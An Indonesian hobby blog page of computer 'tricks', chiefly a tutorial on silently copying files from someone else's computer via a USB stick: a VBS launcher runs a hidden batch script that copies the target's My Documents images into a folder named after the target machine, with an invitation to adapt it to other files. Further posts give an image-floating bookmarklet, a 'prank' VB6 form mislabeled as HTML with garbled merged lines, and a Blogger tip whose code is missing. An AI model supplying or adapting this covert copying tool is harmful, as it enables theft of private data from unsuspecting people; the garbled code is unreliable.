Trik Copy Data Ke Flash Disk Secara Diam-diam

Trik Copy Data Ke Flash Disk Secara Diam-diam
1.Buka notepad, buat file vbs ketik atau copy paste script berikut:

dim wshshell, dos
set wshshell = wscript.createobject("wscript.shell")
dos = wshshell.expandenvironmentstrings("%coms…
wshshell.run (dos & " /c tarik.bat"), vbhide

2.Simpan dengan file name nya contoh start.vbs save as typenya pilih all files

3.Buka notepad lagi, buat file bat ketik atau copy paste script berikut:

@echo off
mkdir %computername%
xcopy "C:\Documents and Settings\%username%\My Documents\*.jpg" %computername% /s/c/q/r
@cls
@exit

4.Simpan dengan file name nya contoh tarik.bat save as typenya pilih all files.
Nama file bat ini harus sesuai dengan script file vbs baris ke empat (tarik.bat)

Simpan kedua file tersebut didalam flash disk, Untuk copy file komputer target secara diam-diam jalankan (2x klik) file start.vbs.

Fungsi file vbs (start.vbs) berfungsi untuk menjalankan file bat (tarik.bat) secara diam-diam atau istilahnya background proses. Sedangkan file bat (tarik.bat) berfungsi untuk menjalankan perintah copy semua file dengan ektensi tertentu yang ada dikomputer target.

Contoh tersebuat diatas adalah copy semua file yang berektensi jpg (file gambar) yang ada di folder MyDocuments di komputer target (lihat baris ketiga script file bat) Dan disimpan kedalam flash disk ke dalam folder dengan nama sesuai nama komputer target. anda bisa meng edit sendiri kedua file tsb diatas sesuai keperluan format file dan folder target yg akan di copy.


Silahkan mencoba lagi

Read more »

GAmbar MeLayaNg

javascript:R=0; x1=.1; y1=.05; x2=.25; y2=.24; x3=1.6; y3=.24; x4=300; y4=200; x5=300; y5=200; DI=document.getElementsByTagName("img"); DIL=DI.length; function A(){for(i=0; i-DIL; i++){DIS=DI[ i ].style; DIS.position='absolute'; DIS.left=(Math.sin(R*x1+i*x2+x3)*x4+x5)+"px"; DIS.top=(Math.cos(R*y1+i*y2+y3)*y4+y5)+"px"}R++}setInterval('A()',5); void(0);


Pertama buka dulu sembarang alamat web, lalu Copy java script diatas lalu paste di web addres mozilla km trus klik enter. Taaraaa dan lihatlah betapa semua foto yang ada di web itu berhamburan melayang layang.

Kalo mau kelihatan keren dan nyata banget, kamu coba di facebook km. Cara kembalikan seperti semula cukup km refresh atau tekan F5 ja. Silahkan mencoba

Read more »

Script Jahil

 Copy script code dibawah ini di notepad, lalu klik save trus save as type nya pilih yang all file. simpan dengan nama file Jahil.html. dan setelah itu buka dengan mozilla dan lihat apa yang terjadi dengan mozilla mu. Pasti seru deh.


VERSION 5.00
Begin VB.Form Form1
Caption = "Form1"
ClientHeight = 3195
ClientLeft = 60
ClientTop = 345
ClientWidth = 4680
LinkTopic = "Form1"
MaxButton = 0 'False
ScaleHeight = 3195
ScaleWidth = 4680
StartUpPosition = 3 'Windows Default
Begin VB.CommandButton Command1
Caption = "Close"
Height = 615
Left = 1440
TabIndex = 1
Top = 240
Width = 1335
End
Begin VB.Frame Frame1
Caption = "Animate"
Height = 855
Left = 0
TabIndex = 0
Top = 120
Width = 1335
Begin VB.Timer tunload
Interval = 50
Left = 720
Top = 240
End
Begin VB.Timer tload
Interval = 50
Left = 120
Top = 240
End
End
End
Attribute VB_Name = "Form1"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Option Explicit
Private Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long) As Long
Const LWA_ALPHA = &H2
Const GWL_EXSTYLE = (-20)
Const WS_EX_LAYERED = &H80000

Dim Ret As Long
Private Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
Private Declare Function SetLayeredWindowAttributes Lib "user32" (ByVal hwnd As Long, ByVal crKey As Long, ByVal bAlpha As Byte, ByVal dwFlags As Long) As Long
Dim i As Long
Dim j As Long

Public Sub MakeTransparent(ByRef frm As Form, ByVal Alpha As Long)
Ret = GetWindowLong(frm.hwnd, GWL_EXSTYLE)
Ret = Ret Or WS_EX_LAYERED
SetWindowLong frm.hwnd, GWL_EXSTYLE, Ret
'change ipAlpha for transparency
SetLayeredWindowAttributes frm.hwnd, 0, Alpha, LWA_ALPHA
End Sub


Private Sub Command1_Click()
tunload.Enabled = True
End Sub

Private Sub Form_Load()
Call MakeTransparent(Me, 0)
i = 255
j = 0

tunload.Enabled = False

End Sub

Private Sub Form_Unload(Cancel As Integer)
Cancel = 1
MsgBox "gunakan tombol close untuk keluar dari program!!!", vbExclamation
End Sub

Private Sub tload_Timer()
If j < 260 Then Call MakeTransparent(Me, 0 + j) j = j + 10 Me.Enabled = False Else MakeTransparent Me, 255 tload.Enabled = False Me.Enabled = True End If End Sub Private Sub tunload_Timer() If i > 0 Then
Call MakeTransparent(Me, i)
i = i - 10
Else
End
End If

End Sub

Read more »

Cara Membuat Read More

Kalo pengen ada read more atau selanjutnya, posting nya lewat "Edit Html", letakkan abstraksi posting yg akan ditampilkan di halaman muka di atas kode
sementara sisanya yaitu keseluruhan posting letakkan di antara kode dan

Selamat Mencoba

Read more »